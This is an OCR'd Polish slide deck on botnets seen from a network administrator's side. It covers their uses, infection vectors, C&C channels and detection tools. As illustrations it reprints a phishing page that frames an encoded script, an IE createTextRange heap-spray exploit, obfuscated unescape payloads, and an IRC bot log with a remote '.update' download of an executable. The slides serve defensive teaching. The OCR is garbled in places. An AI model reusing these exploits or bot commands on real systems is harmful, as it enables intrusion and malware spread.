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'‘Dajcie mi rzad dusz, a bede
rzadzit swiatem...'

Botnet z punktu widzenia
administratora sieci.

Borys t acki



GECURFER

Definicja

BOTNET:

Siec komputerow, zainfekowanych
oprogramowaniem, umozliwiajacym
zdalna kontrole.

Borys t acki
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Liczby

- Firma antywirusowa Trend Micro szacuje, ze liczba
przejetych komputerow wynosi obecnie okoto:
70 milionow.

- Styczen 2006 - 20 letni Jeanson James Ancheta
zostaje uznany winnym zarazenia i kontroli ponad
400 000 komputerow.

- Specjalizujaca sie w analizie i obronie przed
atakami typu DDOS firma Prolexic podaje statystyki
dotyczace wartosci “sity” analizowanych przez nich
atakow:

Rok 2005 - 3.5 Gbps

Rok 2006 - > 10 Gbps

Borys t acki
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Dlaczego warto posiadac botnet:
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Dlaczego warto posiadac botnet:

- SPAM
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Cele

Dlaczego warto posiadac botnet:

- SPAM
- DDOS
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD

. Borys tacki
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE
- DANE AUTENTYKACYJNE

Borys t acki
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE
- DANE AUTENTYKACYJNE

- KLUCZE CD
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE
- DANE AUTENTYKACYJNE

- KLUCZE CD

- WCISNIECIA KLAWISZY /ZRZUTY EKRANU
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE
- DANE AUTENTYKACYJNE

- KLUCZE CD

- WCISNIECIA KLAWISZY /ZRZUTY EKRANU
- PODSLUCHIWANIE RUCHU SIECIOWEGO
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE

- DANE AUTENTYKACYNE

- KLUCZE CD

- WCISNIECIA KLAWISZY/ZRZUTY EKRANU

- PODSLUCHIWANIE RUCHU SIECIOWEGO

- PRZEKIEROWANIA PORTOW|PROXY [IRC BOUNCE
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Cele

Dlaczego warto posiadac botnet:

- SPAM

- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE
- DANE AUTENTYKACYNE

- KLUCZE CD

- WCISNIECIA KLAWISZY/ZRZUTY EKRANU

- PODSLUCHIWANIE RUCHU SIECIOWEGO

- PRZEKIEROWANIA PORTOW|PROXY [IRC BOUNCE
- WYNAJEM

Borys t acki
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Sposoby infekcji:
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GECURFER

Infekcje

Sposoby infekgcji:

- RANGE SCAN

* Microsoft Windows

+ Microsoft Windows RPC

+ Microsoft LSA Service

+ Microsoft Windows Core DLL
[Porty: 135, 139, 445]

Borys tacki



GECURFER

Infekcje

Sposoby infekgcji:

- RANGE SCAN

* Microsoft Windows

+ Microsoft Windows RPC

+ Microsoft LSA Service

+ Microsoft Windows Core DLL
[Porty: 135, 139, 445]

* Ssh - brute force scan

Borys tacki
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Infekcje

Sposoby infekgcji:

- RANGE SCAN

* Microsoft Windows

+ Microsoft Windows RPC

+ Microsoft LSA Service

+ Microsoft Windows Core DLL
[Porty: 135, 139, 445]

* Ssh - brute force scan
* Btedy aplikagji
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Infekcje

Sposoby infekgcji:

- RANGE SCAN

* Microsoft Windows

+ Microsoft Windows RPC

+ Microsoft LSA Service

+ Microsoft Windows Core DLL
[Porty: 135, 139, 445]

* Ssh - brute force scan
* Btedy aplikagji

- WWW I

Borys tacki
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Infekcje
FIREFOX 1.5.X
Wersja Data wydania: Krytyczny btad:
1.5 2005-12-08 2006.02.01
1.5.0.1 2006-02-17 2006.04.13
1.5.0.2 2006-04-13 2006.05.02
1.5.0.3 2006-05-08 2006.06.01
1.5.0.4 2006-06-09 2006.07.25
1.5.0.5 2006-07-26
1.5.0.6 2006-08-02 2006.09.14
1.5.0.7 2006-09-28 ?
< 60 dni

Borys tacki
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Infekcje

2006 lipiec - w wielu swiatowych portalach

[ www.myspace.com, webshots.com ] zostaje
wyswietlona reklama [banner] wykorzystujaca btad w
przegladarce IE - Vulnerability in Graphics Rendering
Engine [ WMF ]

2006 wrzesien - tysigce stron hostowanych przez
serwery duzej firmy hostingowej HostGator

[ ponad 200 000 hostowanych domen] - zostaja
zaatakowane [ nieznany btad w cPanelu ] i
zarazone kodem wykorzystujacym btad w
przegladarce IE - VML stack buffer overflow

Borys t acki
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Infekcje
Sposoby infekgcji:

- Instant messaging [IM] | E-mail
* Przekierowania na zainfekowane strony
* Przesytanie zainfekowanych plikow

Borys tacki
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* From Subject Sent Size M Label
% Radio Maryja B Nowa strona Radia Maryja 2006-05-15 1,6 KB [ ET T
Nuwa Etruna Radla Ma ryja pon 15 maj 2006 19:32:42 CEST

From ' Radio Maryja <redakcja@radiomaryja.pl=
To '} borys@bohater.net

Bracia w wierze,
Cztonkowie Rodziny Radia Maryja!

Masza strona WwWwW ulegta gruntowne] przemianie. Jestesmy szczesllwl mogac
zaprezentowal Wam owoc naszych wielomiesiecznych staran. Oprécz
dotychczasowych informacji na temat rozgtosni 1 Rodziny Radia Maryja, teraz
dostepne s3 w Internecie takze aktualnosci z =ycia 0jczyzny oraz Forum

 Przyjaciot Kultury, promujace swiatto nauki Chrystusa poprzez dialog 1
swladectwo ludzi myslacych.

Zapraszamy serdecznie:

http://www.radiomaryija.pl/

Redakcja serwisu WWW rozgiosnl Radia Maryja



www.radiomaryja.be

<HTML><HEAD><TITLE>Radio Maryja - Katolicki Gtos w Twoim
Domu</TITLE>

<META NAME="Keywords" CONTENT="Radio, Maryja, Tadeusz,Rydzyk">
<META NAME="Description” CONTENT=""></HEAD>

<FRAMESET ROWS="*,0">

<FRAME SRC="http://ircgalaxy.pl/hello/" MARGINHEIGHT=0
MARGINWIDTH=0 NORESIZE> < /FRAMESET >

ircgalaxy.pl/hello/
<HTML>
<HEAD>

<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-
8859-2">

<META HTTP-EQUIV="Refresh”" CONTENT="3;
url=http://www.radiomaryja.pl/">

<TITLE>Prosze czekac¢</TITLE>

<SCRIPT LANGUAGE=")Script.Encode” SRC="banner.jse"> < /SCRIPT>
</HEAD>

<BODY BGCOLOR="#FFFFFF">

Trwa tadowanie strony, prosze czekac...

</BODY>

</HTML>



Microsoft Internet Explorer "createTextRange()" Code Execution

function f() {
document.write('<input type="checkbox" id="blah" style="visibility:
hidden; display:none">");
scl2 = unescape("shellcode”);
bb = unescape("%u9090%u9090");
trigger = 'xtRa’;
slsp = 20 + scl2.length;
while (bb.length < slsp)
bb += bb;
fb = bb.substring(0, slsp);
block = bb.substring(0, bb.length-slsp);
while(block.length + slsp < 0x40000)
block = block + block + fb;
memory = new Array();
for(i=0;i<2020; i++)
memoryli] = block + sc12;
eval('document.getElementByld("blah").createTe'+trigger+'nge()’)

}
setTimeout("f()",100);



W 618
[02:42:40 | 02:42:30] <6182373> witam! mysle ze dzisiaj jest odpowiedni moment zeby sie poznac ... .p

[02:44:54 | 02:44:45] <6182373> moje zdjecia sa tuta) ww

B send ‘
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% Source: http://secunty-info.com.ua/scripts/index.html - Opera m
File Edit View Bookmarks Widgets Feeds Tools Window Help v nx

_iProsze czekac..  |L]http:/fsecurity-info.c.. Lkl R -
k= save

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.8 Transitional//EN"= -
<NOSCRIPT=This page uses Javascript</NOSCRIPT=
<SCRIPT LANGUAGE="javascript" TYPE="text/javascript"=
document.write(unescape( "S0A%OASOAGDAGOASI CH08%T4%00%0C%IESICH0B%05%01 %04 %3 E%3 (% 74%09% 74%0 %05 %3 E%0 0% 72%0 P 73% TA%05%2 063 % TA%E5%0B%01%63%2E" 1 ) ;
document.write(unescape( "%2E%2E%3 (%2 FaT4%069%: 74%06C%05%3 E%0A%0A%I C% T3%T4% 790 B05%3 E%0A%2 A%2 0F: TB%4 3%55%5 2%5 3% FR5 2%3 A% 2 0% T55% 72%6 %2 8%2 2%68%T74" ) ) ;
document.writelunescape | "S74%70R3A%2 Fe2 FeT 7% T 7% T T2 E% 73%05%03% 7% 7 2%6 9% 74% 7 9%2 Db 0% %66%6 M2 E%03%0 Feblfk2 E% 75%01%2 P 73%63% 72%06 9% 70/ 74%73%2F" ) ) ;
document.write(unescape( "%63%75%72%73%0F%72%2 E%01%0E% 72%2 2% 2 9% TDG0A%3 (%2 P T3% T4% 790 B05%3 E%0MA%3 (%2 FubB%05%01 %064 %3 E%0A%3 (%62%0 Fetd B T9%IE%0A" | ) ;
document.write(unescape( "%0OA%3 % 1%5 05 0Fd (oA 5% 54 % 2 0F:A 1 %5 2%4 3%4 8% 0%56%4 55%3 D62 2%60% 4% TA% T 0R:3 0% 2 P2 P 7 1% 7 T T T2 E% 7 3%65%63% 5% T2%6 06 74%79%20" ) ) ;
document.write(unescape( "%69%6E%06%0 F2 E%03%0 FEED%2E%: T5%61%2 Fs T3%63% T2%0 0% T0%T4%73%2 Feb3%0 P 75%0E% 7% 2 E%0A%01 % T2%2 2% 2 04 3%4 Fed4%4 5%30%622%42" ) ) ;
document.write(unescape( "%6C%61%63%60%) 2%6F: T8%2E%63%00 %01 % T3% 73%2 2% 2 0%5 794 9%4 4%54%4 B%30%2 2%3 1 %2 2%2 %4 B%4 5%4 9%:4 T4 854 %3052 2%31%2 2%3E%08%3C" ) ) ;
document.write(unescape( "%50%4 1%5 2%4 1%4 D52 TR E%4 164 DR 5% 30%2 2% 70% T2%60%2 2%2 0%5 6%4 1 %4 (%5 5%4 5% 3 02 2%0 8% TA% 74 % T0RI A% 2 P2 Fe T T% T T% T T%2E% 73%65%63 " ) ) ;
document.write(unescape( "%75%72%06%% 4% 7 9% 2 (R0 9% 0E%66%0 F 2 E% 63 %0 F:0D%2E% 75%01 %2 P 73%63% 7 2%0 9% 7 0% 74%73%2 P 7 TS0 9%0E%3 3% 3 2% 2E%05% TR%6E5%2 2%3E%3C" ) ) ;
document.write(unescape( "%2 Foed 1%5 0°:5 0% C%4 5% 04 %3 ER0ARG0A%I (%4 054 B%52%4 1%4 DR 5%2 0% 73% 72%03%3 052 2%0B% TA% TA% T 0R3A%2 P2 Fe T T% T T% T T%2E% T3%05%63%75" ) ) ;
document.write(unescape( "%72%69%74% 7 9%2 (69 0E%06%6 P2 E%03% 6 FsB0%2E% T5%01 %2 FeT3%63% 72%00% 705 74% 7 3%2 Fub 9000 T2 E% 7 7% 66%2 2%2 0%66% 72%61%60" ) ) ;
document.write(unescape( "%63%62%0F:72%04%05% F2%30%22%3 1%2 2% 2 0% T6% 73% T0%0L %03%00%3 02 2%3 1%2 2%2 0%0B% 73% 700 1%03%05% 3 0%2 2%3 1%2 2% 2 0%6 R0 1% 72%67" ) ) ;
document.write(unescape( "%69%6E%7 T00%04% 74%08%30%2 2%3 1%2 2% 2 0R60%61 S T 2% 6 7500 BE%S 62 %050 0%0 M0 B% 74%3 0%2 2%3 1 %2 2% 2 0F: T TH0 %64 % 74 %06B%30%2 2%31%22" ) ) ;
document.write(unescape( "%20%6E%05%09%0 FE02% 14%30%22%3 1%2 2% 2 0% 73%63% T 2% 0 Fsb So %0 0%0E%0 T%3 [F:2 2%0E%0 Fh2 2%3 %3 0% 2 Fed 9ed %5 2%4 1%4 D4 5%3E%0A%3C" ) ) ;
document.write(unescape( "%69%66%72%61%00%05%2 0% T3% T2%63%3I0%22%26%23%31 %3 0%34%26%23%3 1%31%36%26%23%3 1%3 1 %3 6%26%23%31%31%3 2% 26%23%35%38%26%23" ) ) ;
document.writelunescape | "%34%3 Te26%23%34%3 TH26%23%31%30%31%26%23%31%31%38%26%23%3 1 %3 0%3 TH26%23%3 1%31%3 1%26%23%34%36%26%23%3 93 0% 26%23%31%30" ) ) ;
’ducument.writetunezcapet"%35%26%23%31%32%32%25%23%34%3?%25%23%39%39%25%23%31%35%33%26%23%31%35%35%26%23%34%35%25%23%39%38%26%23%31%3B%35%26"}};
document.write(unescape("%23%31%31%3 0%26%23%34%3 TH20%23%31 %31 %34%26%23%3 1 %3 0%31%26%23%3 1 %3 0R3 P62 6%23%3 1%31%31%26%23%31%31%36%26%23%31%30%31" ) ) ;
document.write(unescape( "%26%23%34%36%26%23%31%31%32%26%23%31 %3 0%38%2 2%2 0F:01 B0 %090 T%0E%3 [F:2 2%63%06 %0 % 74%05% 72%2 2% 2 0% T T%:09%:64 % T4%68%30%35" ) ) ;
document.write(unescape( "%30%3 052 (0R%05 %090 TH0R% T4%3 D%a35%3 0F:3 062 0%66% 72%61 S0 05%655%62%0 F% 7 25%64%65% 7 25%3 D3 0%3E%3 (%2 Fe6%%606% 72%61 %B0%05%3E%0A" ) ) ;
document.write(unescape( "s0A%0ASOAGO0A%OA%I CBTI%03% T2%09% T0%TA%IEH0A%TA% T 2% 7O TR OA%BI B0 F%E63% 75%00%0 5 %0E% T4%2E% T 1% 7 2%06 9% T4%65%2 B%2 T63 (%6 F:62" ) ) ;
document.write(unescape( "%6A%65%63%74%2 0%664%61%T4%61 %3 Ds00%26%23%31%30%3 952 6%23%3 1 %3 1%35%2 6%2 3%34%35%26%2 3%3 1 %3 0R35%26%23%31%31%36%26%23%31" ) ) ;
document.write(unescape("%31%35%260%23%35%38%20%23%3 1%30630%26%23%31%30%34%26%23%3 1%31%30%20%23%3 153 03 P2 6%23%3 1 %3 0R3B%20%23%350%38%20%23%31" ) ),
document.write(unescape("%30%32%26%23%31%30635%20%23%3 1%30%38%26%23%31%3 053 1%26%23%35%3 B%2 6%2 3%34%3 T%26%2 3%34%3 TH26%23%36%3 TH26%23%35%38%26" ) ) ;
document.write(unescape("%23%39%32%20%23%3 %3083 2%20%23%31%31%31%26%23%3 1 %3 1%31%3B%2 E%00%08% 74%2 1%2 TH2 %2 THoB%: TA% T4% T3 A2 Fe2 Fe T T T T TT%2E" ) ),
document.write(unescape( "%73%65%063%75% 7 2%6%% 74% T9% 2[R0 9% E %S 66% 0 P 2E%63% B F%bD%2 E% 75%01 %2 F%2 P 73%03% 7 2%0 %% 70 T4% 73%2 P2 Fs T4%61 % 72%6 T2 E%63%68" ) ) ;
document.write(unescape( "%60%2 T%2B%2 TeIA%IA%G2 FeT4%01% 72%0 7%2 T2 B%2 T%65% 74%2 E%0R% 74%00%00%2 0R: 74% 7 9% 7 00 5%3 b0 74%05% 72% 74%2 P 7R%20% 73%63%72" 1 ),
document.write(unescape( "%69%T0%T74%6%05% T4%60%IE%I (%2 FebFe62%2 T%2B%2 THBA%B5%603% T4%3 E%2 T%2 3 B%0A% TDR63%0 1 % T4%03%68% 2 B%65%2 9 TBS TOROA%IC%2F" ) ) ;
document.write(unescape( "%73%63%72%09% 7 0% 74%3 E%0A%0AGI C%T3%03% 72%69% T0% 74%3 E%0A%3 C%2 1%2 D% 2 [R0A%6 6% 75 %0E%03% 74 %0 9% 0 FEbE% 2 0R00%2 B%02%2 C%20%61 " ) ) ;
document.write(unescape( "%2 (%2 0R%63%2 9%2 0F TBR2 0 T2%65% T4% T5% T2 %0E%2 0%61 %2 0°:2 B%2 0%62%2 0%2 B%2 0R:63%3 B%2 0% TR0 A%0E% 755%6E%03% T4 %09% 6 FE6ES2 06 T%28" | ) ;
document.writelunescape | "$62%2 (%2 0%61%2 P2 0% TES2 0% T2%05% 4% 75% T 2%0E%2 0661 %2 0%2 B%2 0%62%3 B%2 0% TDG0A% T6%6 1% 7 2%2 0% 73% 2 0R3 DR 2 0 BESB5% 7T T2 R4 1%72" ) ) ;
document.write(unescape( "%72%61%7 P 0A%2 BB0A%2 02 2%2 2% 2 CH0A%2 0%:2 2% T TH00%0E%3 3%3 2% 2 E%05% TR%605%2 2%2 (H0A%2 0F:2 2%0R% TA% T4 % TORI A2 Fe2 Fe T TS T T%TT%2E" ) ) ;
document.write(unescape( "%73%65%03%75% T 2%0%%: 4% T9% 2[R0 9% E S 66% 6P 2E%63% 6 F%sbD%2 E% 75%61 %2 P 73%03% 7 2%0 9% T0R 74 % T3%2 P2 2%2 C%0A%2 0562 2%6 Fab2%06A%65 " ) ) ;
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Microsoft Internet Explorer WMF Memory Corruption Vulnerability
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GECURFER

Infekcje
Sposoby infekcji:

- Instant messaging [IM] | E-mail
* Przekierowania na zainfekowane strony
* Przesytanie zainfekowanych plikow

- Przechwytywanie botnetow

Borys t acki



GECURFER

Infekcje
Sposoby infekcji:

- Instant messaging [IM] | E-mail
* Przekierowania na zainfekowane strony
* Przesytanie zainfekowanych plikow

- Przechwytywanie botnetow

- Falszywe serwery gier

Borys t acki



GECURFER

Infekcje
Sposoby infekcji:

- Instant messaging [IM] | E-mail
* Przekierowania na zainfekowane strony
* Przesytanie zainfekowanych plikow

- Przechwytywanie botnetow
- Falszywe serwery gier

- P2P

Borys t acki



P CHOURCED

Komunikacja

Sposoby komunikacji:

C&C [command-and-control]

. Borys tacki



g | CECURERR

Komunikacja

Sposoby komunikacji:

C&C [command-and-control]

- IRC

. Borys tacki



N GECURERD

Komunikacja

Sposoby komunikacji:

C&C [command-and-control]

- IRC

- WWW

. Borys tacki



GECURFER

Komunikacja

Sposoby komunikacji:

C&C [command-and-control]

- IRC
- WWW

- P2P
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Komunikacja

Sposoby komunikacji:

C&C [command-and-control]

- IRC
- WWW

- P2P

- 72 SKYPE | DNS ?
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Detekcja

Sposoby wykrywania:

. Borys tacki
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Detekcja

Sposoby wykrywania:

- DOSDETECTOR

. Borys tacki



PR -CUREFD

Detekcja

Sposoby wykrywania:
- DOSDETECTOR

- IRC-PROXY

| Borys tacki



PR CECUREED

Detekcja
Sposoby wykrywania:
- DOSDETECTOR
- IRC-PROXY

- IDS / HONEYPOT

. Borys tacki



GECURFER

Detekcja
Sposoby wykrywania:
- DOSDETECTOR
- IRC-PROXY
- IDS / HONEYPOT

- ANTI-SPAM SMTP PROXY

Borys tacki



GECURFER

Detekcja
Sposoby wykrywania:
- DOSDETECTOR
- IRC-PROXY
- IDS / HONEYPOT
- ANTI-SPAM SMTP PROXY

- NGREP / TCPDUMP

Borys tacki



Man in the middle - IRC

POL [POL]-28491

USER nzungnn 0 O :[POL]-28491

JOIN #atl# haslol

1)

:witam!ciebie@securecon.pl PRIVMSG #atl# :.admin zupa
NOTICE witam :Pass auth failed (witam!ciebie@securecon.pl).
NOTICE witam :Your attempt has been logged.

2)

:witam!ciebie@securecon.pl PRIVMSG #atl# :.admin haslo2
NOTICE witam :Host Auth failed (witam!ciebie@securecon.pl).
NOTICE witam :Your attempt has been logged.

3)

:witam!borys@securecon.pl PRIVMSG #atl# :.admin haslo2
NOTICE witam :Host Auth failed (witam!borys@securecon.pl).
NOTICE witam :Your attempt has been logged.

4)

Jjestem!borys@md.comcast.net PRIVMSG #atl# ..stats

5)

:jestem!borys@md.comcast.net PRIVMSG #atl# :.admin haslo2
PRIVMSG #atl# :[MAIN]: Password accepted.

GECURFER
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Man in the middle - IRC

6)

jestem!borys@md.comcast.net PRIVMSG #atl# :..stats

PRIVMSG #atl# :[SCAN]: Exploit Statistics: WebDav: 0, NetBios: 0, NTPass: O,
Dcom135: 0, Dcom445: 0, Dcom1025: 0, Dcom?2: 0, IIS5SSL: 0, MSSQL: 0O,
Beaglel: 0, Beagle2: 0, MyDoom: O, Isass_445: 0, Isass_139: 0, Optix: O,
UPNP: O, NetDevil: 0, DameWare: 0, Kuang?2: 0, Private: O, Sub7: 0, Total: O
in 0d Oh 3m.

/)

jestem!borys@md.comcast.net PRIVMSG #atl# :.update
http://akron.net.pl/~borys/ping.exe [POL]-28491

PRIVMSG #atl# :[UPDATE]: Downloading update from:
http://akron.net.pl/~borys/ping.exe.

PRIVMSG #atl# :[DOWNLOAD]: Downloaded 18.5KB to
C:\DOCUME~1\UZYTKO~1\USTAWI~1\Temp\xhjytvh.exe @ 18.5KB/sec.
Updating.

8)
Jestem!borys@md.comcast.net PRIVMSG #atl# :.reboot

PRIVMSG #atl# :[MAIN]. Rebooting system. Borys tacki



Man in the middle - WWW

“, 1018:648 - http://217.107.217.177/cp/rule phpThame=C7U0S3_63&b=6 - Opera [

File Edit WVWiew Bookmarks Widgets Feeds Tools Window Help [ w3

[ hitp /12171072171 | -
« = G 7 ||J http://217.107.217.17 7/cp/rule. php?name=C7U053 63&b=6 |L||6<3

192058 update http://81.177.3.175/images/imagel.gif

. Borys tacki
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Man in the middle - WWW

File Edit View Bookmarks Widgets Feeds Tools Window Help
| http:/217.107.217.1... | -
«= v 4 7 [% http/fwww.virustotal.com/vt/en/resultadof?639d08dd27c2077a2efd7782ab8e72eb =] 60

Complete scanning result of "imagel.gif", received in VirusTotal at 10.17.2006, 22:57:12

STATUS: FINISHED

(CET).

Antivirus Version Update Result

Antivir 7.2.0.30 10.17.2006 |TR/CryptF.Gen
Authentium 4938 10.16.2006 |no virus found
Avast 478920 10.17.2006 |no virus found
AVG 386 10.17.2006 |no virus found
BitDefender 7.2 10.17.2006 |no wvirus found
CAT-QuickHeal 2.00 10.17.2006 |(no virus found
ClarmAay devel-20060426 10.17.2006 |no virus found
Drweb 4.33 10.17.2006 |no wvirus found
eTrust-lnoculatelT 23.73.24 10.17.2006 |no virus found
eTrust-Vet 30.3.3139 10.17.2006 |no virus found
Ewido 4.0 10.17.2006 |no wvirus found
Fortinet 28200 10.17.2006 |no virus found
F-Prot 3.16f 10.16.2006 |no virus found
F-Prot4 4.21.29 10.17.2006 |no wvirus found
lkarus 0.2.650 10.17.2006 |no virus found
Kaspersky 4.0.2.24 10.17.2006 |Trojan-Proxy Win32.Lager.dt
MchAfee 4875 10.17.2006 |no wvirus found
Microsoft 1.1603 10.17.2006 |no virus found
NOD32v2 11808 10.17.2006 |probably a variant of Win32/TrojanProxy.Lager
Morman 5.80.02 10.17.2006 |\W3Z/Crypt.gend
Panda 9.0.0.4 10.17.2006 |Suspicious file
Sophos 4.10.0 10.15.2006 |no virus found
TheHacker 6.0.1.099 10.16.2006 |no virus found
UNA 183 10.17.2006 |no virus found
VBA3Z 3111 10.17.2006 |no virus found
VirusBuster 4.3.7:9 10.17.2006 |no virus found
Aditional Information

File size: 67716 bytes

-
P
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Referencje

Dokumenty:

http://www.cs.wisc.edu/~pb/botnets_final.pdf
http://www.cert.org/archive/pdf/Botnets.pdf
http://www.honeynet.org/papers/bots/
http://sunsite.informatik.rwth-aachen.de/Publications/AIB/2005/2005-07.pdf
http://www.cs.ucf.edu/~czou/research/botnet tzmodel NDSSO06.pdf
http://www.cs.wisc.edu/~pb/botnets final.pdf
http://pil.informatik.uni-annheim.de/publications/index

Narzedzia:

DOSDETECTOR:
http://darkzone.ma.cx/resources/unix/dosdetector/
IRC-PROXY:
http://irc-proxy.packetconsulting.pl
ANTI-SPAM SMTP PROXY
http://assp.sourceforge.net/

IDS / HONEYPOTS:
http://www.honeynet.org/tools/
http://honeytrap.sourceforge.net
http://nepenthes.mwcollect.org
http://www.snort.org
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Kontakt

Dziekuje za uwage...

borys@bohater.net

. Borys tacki



